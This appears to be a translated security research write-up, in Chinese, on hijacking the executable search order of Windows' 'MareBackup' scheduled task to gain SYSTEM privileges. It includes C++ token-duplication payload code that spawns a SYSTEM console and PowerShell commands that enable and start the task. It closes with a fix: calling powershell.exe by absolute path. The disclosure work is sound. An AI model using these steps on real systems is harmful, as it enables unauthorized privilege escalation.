劫持Windows"MareBackup"计划任务实现权限提升
内置的"MareBackup"计划任务容易受到简单的可执行文件搜索顺序劫持攻击,当存在权限配置薄弱的文件夹被前置到系统PATH环境变量中(而非追加)时,低权限用户可利用此漏洞获取SYSTEM权限。
发现过程
在处理一个不相关主题的半自动化研究项目时,我使用Process Monitor生成并收集了大量数据。于是决定快速查看并应用DLL搜索顺序劫持的基本搜索过滤器,看看是否能发现什么,尽管这不是我的初始目标。这就是我观察到以下行为的方式。
我们有一个名为CompatTelRunner.exe的可执行文件,以NT AUTHORITY\SYSTEM身份运行,并执行PowerShell,显然没有指定其绝对路径,因为我们可以看到它使用了此处记录的典型可执行文件搜索顺序。
搜索顺序劫持分析
与典型的Ghost DLL劫持不同(由于目标文件不存在,LoadLibrary会遍历所有PATH条目),这里的劫持只有在易受攻击的条目被前置到列表中(而非追加)时才有效,因为最终会找到合法的powershell.exe。
现在,假设存在这样一个易受攻击的文件夹,这种行为是否真的可利用?我们能否以低权限用户身份触发它?你猜对了,这两个问题的答案都是"是"。
深入分析
Process Monitor总共记录了13个powershell.exe的"Process Create"事件。它们都很相似,因此下面随机选取了一个。“Event"选项卡显示正在执行以下命令行,没有什么特别有趣的内容。
1
|
powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';
|
“Process"选项卡显示父进程的以下命令行,并确认它在会话0中以NT AUTHORITY\SYSTEM身份运行,因此我们确定这里不涉及用户模拟。
1
|
"C:\WINDOWS\system32\compattelrunner.exe" -m:appraiser.dll -f:DoScheduledTelemetryRun
|
“Stack"选项卡显示CreateProcessW调用源自acmigration.dll中名为PowerShellMatchingPlugin的函数。
识别相关计划任务
使用PowerShell快速枚举所有计划任务,查找包含关键字DoScheduledTelemetryRun的"命令行"操作的任务。
1
2
3
4
5
6
7
8
9
10
11
|
PS C:\WINDOWS\system32> Get-ScheduledTask | ? { $_.Actions.Arguments -like "*DoScheduledTelemetryRun*" } | select TaskPath,TaskName,Description,State | fl
TaskPath : \Microsoft\Windows\Application Experience\
TaskName : MareBackup
Description : Gathers Win32 application data for App Backup scenario
State : Ready
TaskPath : \Microsoft\Windows\Application Experience\
TaskName : Microsoft Compatibility Appraiser Exp
Description : Collects program telemetry information if opted-in to the Microsoft Customer Experience Improvement Program.
State : Ready
|
结果显示有两个候选计划任务:MareBackup和Microsoft Compatibility Appraiser Exp,它们都注册在"Application Experience"下。
权限分析
最后一个问题是"我们能否以低权限用户身份触发或启动这两个计划任务中的至少一个?“第一个任务没有任何注册的触发器,第二个只有一个自定义触发器。这并不令人鼓舞,但我们可以尝试使用schtasks.exe或PowerShell cmdlet Start-ScheduledTask手动启动它们。
在尝试启动Microsoft Compatibility Appraiser Exp时收到"access denied"错误,但另一个似乎可以工作。为了理解原因,我们应该查看它们的DACL,但在任务计划程序GUI中没有简单的方法可以做到这一点。
注意,实际上有更简单的方法可以实现相同的结果。我们可以检查包含计划任务定义的XML文件的DACL。
1
|
# "MareBackup"计划任务权限检查与icacls
|
无论使用哪种方法,我们都可以看到BUILTIN\Users身份对计划任务具有AllAccess或FullControl权限。
有效载荷
我们并不真正关心保留原始功能。毕竟,这只是一个用于收集遥测数据的计划任务,不是系统关键任务,因此我们可以执行任何我们想要的内容,而不必确保PowerShell命令实际执行。此外,计划服务将使用默认的SYSTEM令牌,该令牌已启用SeTcbPrivilege。因此,我选择了我个人最喜欢的方法:在用户桌面上生成SYSTEM控制台。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
HANDLE hToken = NULL, hTokenDup = NULL;
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
LPCWSTR pwszApplication = L"cmd.exe";
DWORD dwSessionId = 1; // 设置为目标用户的会话ID
// (或调用WTSGetActiveConsoleSessionId()获取控制台会话ID)
// 为简洁起见删除了错误检查
OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken);
DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityAnonymous, TokenPrimary, &hTokenDup);
SetTokenInformation(hTokenDup, TokenSessionId, &dwSessionId, sizeof(dwSessionId));
si.cb = sizeof(si);
si.wShowWindow = SW_SHOW;
si.lpDesktop = const_cast<wchar_t*>(L"WinSta0\\Default");
CreateProcessAsUserW(hTokenDup, pwszApplication, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hTokenDup);
CloseHandle(hToken);
|
利用命令
以下是检查和利用此"漏洞"所需的所有命令列表。唯一需要注意的是是否存在权限薄弱的PATH文件夹条目被放置在默认Windows PowerShell文件夹路径之前。
1
2
3
4
5
6
7
8
|
# 检查系统PATH
Get-ItemProperty -Path "Registry::HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name "Path" | Select-Object -ExpandProperty Path
# 检查计划任务是否存在并已启用
Get-ScheduledTask -TaskName "MareBackup"
# 如果需要,启用计划任务
Enable-ScheduledTask -TaskPath "\Microsoft\Windows\Application Experience" -TaskName "MareBackup"
# 启动计划任务
Start-ScheduledTask -TaskPath "\Microsoft\Windows\Application Experience" -TaskName "MareBackup"
|
结论
术语"漏洞"在这里显然不合适,因为实际的漏洞在于将权限配置薄弱的文件夹插入系统PATH环境变量中。尽管如此,可以通过在调用CreateProcess之前构造powershell.exe的绝对路径来避免这种行为,而不是依赖可能被劫持的搜索顺序。